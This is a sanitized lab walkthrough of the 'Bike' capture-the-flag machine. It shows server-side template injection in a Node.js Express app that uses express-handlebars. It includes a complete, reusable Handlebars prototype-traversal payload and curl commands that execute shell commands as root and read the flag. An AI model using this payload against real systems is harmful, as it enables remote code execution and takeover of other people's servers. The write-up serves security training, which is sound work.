Machine / Machines

Bike

Only 2 ports. The HTTP service is Node.js with Express -- the box name "Bike" hints at template injection. Found a simple page with an email subscription form: Response reveals Handlebars: Response: We will contact you at: [object Object] -- input is rendered...

EasyPublished 2025-11-18Sanitized local writeup

Scenario

Bike attack path

Only 2 ports. The HTTP service is Node.js with Express -- the box name "Bike" hints at template injection. Found a simple page with an email subscription form: Response reveals Handlebars: Response: We will contact you at: [object Object] -- input is rendered...

Objective

Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.

Bike sanitized attack graph

Walkthrough flow

01

Only 2 services: SSH and HTTP (Node.js Express)

02

Web app has email input form POSTing to /

03

Input is passed directly to Handlebars template...

04

App runs as root

05

Attack path: SSTI via Handlebars prototype traversal...

Source coverage

Moderate source coverage

Status: partial. This article is generated from 2 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.

69% coverage
Evidence verdict

Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.

  • <TARGET>-Bike/walkthrough.md
  • HTB/<TARGET>-Bike/notes.md

Technical Walkthrough

Bike - Walkthrough

Machine Info

FieldValue
IP<TARGET>
OSLinux (Ubuntu)
DifficultyEasy (Starting Point)
ServicesSSH (22), HTTP (80)
VulnerabilityServer-Side Template Injection (SSTI)
Template EngineHandlebars (express-handlebars 3.0.0)
Flag<hash redacted>

Enumeration

Nmap Scan

bash
nmap -sC -sV <TARGET>
text
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Node.js (Express middleware)
|_http-title:  Bike

Only 2 ports. The HTTP service is Node.js with Express -- the box name "Bike" hints at template injection.

Web Application

bash
curl -s http://<TARGET>/

Found a simple page with an email subscription form:

html
<form id="form" method="POST" action="/">
  <input name="email" placeholder="E-mail"></input>
  <button type="submit">Submit</button>
</form>

Exploitation: Handlebars SSTI

Step 1: Identify Template Engine

bash
curl -s -X POST http://<TARGET>/ -d 'email={{7*7}}&action=Submit'

Response reveals Handlebars:

text
Error: Parse error on line 1: {{7*7}} ...
at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)

Step 2: Confirm Template Context Injection

bash
curl -s -X POST http://<TARGET>/ -d 'email={{this}}&action=Submit'

Response: We will contact you at: [object Object] -- input is rendered inside a Handlebars template.

Step 3: Achieve RCE via Prototype Traversal

Handlebars does not allow arbitrary expressions like {{7*7}}. The attack uses helper abuse:

  1. Access the String constructor via lookup string.sub "constructor"
  2. Use it to create a Function object
  3. Execute arbitrary JavaScript via process.mainModule.require("child_process").execSync()

Payload (URL-encoded via --data-urlencode):

text
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require(\"child_process\").execSync(\"COMMAND\").toString()"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Note: Using bare require() fails with ReferenceError: require is not defined. The bypass is process.mainModule.require() which accesses the require function through the process global.

Step 4: Verify RCE

bash
curl -s -X POST http://<TARGET>/ --data-urlencode 'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require(\"child_process\").execSync(\"id\").toString()"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}&action=Submit'

Response: uid=0(root) gid=0(root) groups=0(root)

Step 5: Capture Flag

Same payload with cat /root/flag.txt:

text
<hash redacted>

Privilege Escalation

Not needed -- the application already runs as root.

Lessons Learned

  1. Handlebars SSTI is different from Jinja2/Twig -- it does not evaluate expressions like {{7*7}}. Instead, you abuse helper functions and prototype traversal.
  2. require sandbox bypass: When require is undefined, process.mainModule.require often works because Node.js makes the main module's require available globally.
  3. Running web apps as root is catastrophic -- any code execution vulnerability immediately gives full system access.
  4. Error messages reveal stack traces -- the Handlebars parse error confirmed the exact template engine and version path.

Kill Chain Summary

text
Email form input -> Handlebars SSTI -> prototype traversal -> Function constructor
-> process.mainModule.require("child_process").execSync() -> RCE as root -> flag

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Scope

  • Target: <TARGET> (Bike)
  • OS: Linux (Ubuntu)
  • Difficulty: Easy (Starting Point)
  • Attacker (Pwnbox): <TARGET> (x08@<TARGET>)
  • Start: 2026-05-05
  • Solved: 2026-05-05 (~5 minutes)

Phase 0: Setup

  • Workspace: <local workspace><TARGET>-Bike/
  • Pwnbox SSH verified: OK
  • Target reachable: OK (TTL 63)

Phase 1: Recon

  • Port 22: OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
  • Port 80: Node.js Express middleware, title "Bike"
  • No other ports open (full TCP scan confirmed)

Phase 3: Synthesis

  1. Only 2 services: SSH and HTTP (Node.js Express)
  2. Web app has email input form POSTing to /
  3. Input is passed directly to Handlebars template compilation (express-handlebars 3.0.0)
  4. App runs as root
  5. Attack path: SSTI via Handlebars prototype traversal -> RCE as root

Phase 4: Foothold (Direct Root)

  • Tested {{7*7}} -> got Handlebars parse error (confirmed template engine)
  • Tested {{this}} -> returned [object Object] (confirmed template context injection)
  • Used Handlebars SSTI payload with process.mainModule.require("child_process").execSync()
  • First attempt with bare require() failed: "ReferenceError: require is not defined"
  • process.mainModule.require bypassed the restriction
  • Got RCE as uid=0(root)

Loot

  • Flag: <hash redacted> (/root/flag.txt)

Key Findings

  • express-handlebars 3.0.0 is vulnerable to SSTI when user input is compiled as template
  • require not available in template sandbox but process.mainModule.require works
  • Application runs as root (no privesc needed)
  • App path: /root/Backend/

Command Log

text
nmap -sC -sV <TARGET>                    # Initial scan: 22/ssh, 80/http
nmap -p<redacted> --min-rate 5000 <TARGET>        # Full TCP: confirmed only 22,80
curl -s http://<TARGET>/                  # Email form, POST to /
curl -X POST -d 'email={{7*7}}'              # Handlebars parse error (confirms engine)
curl -X POST -d 'email={{this}}'             # [object Object] (template context)
curl -X POST --data-urlencode 'email=<SSTI_PAYLOAD_require>'  # require not defined
curl -X POST --data-urlencode 'email=<SSTI_PAYLOAD_process.mainModule.require>'  # RCE as root!
curl -X POST --data-urlencode 'email=<SSTI_cat_flag>'  # Flag captured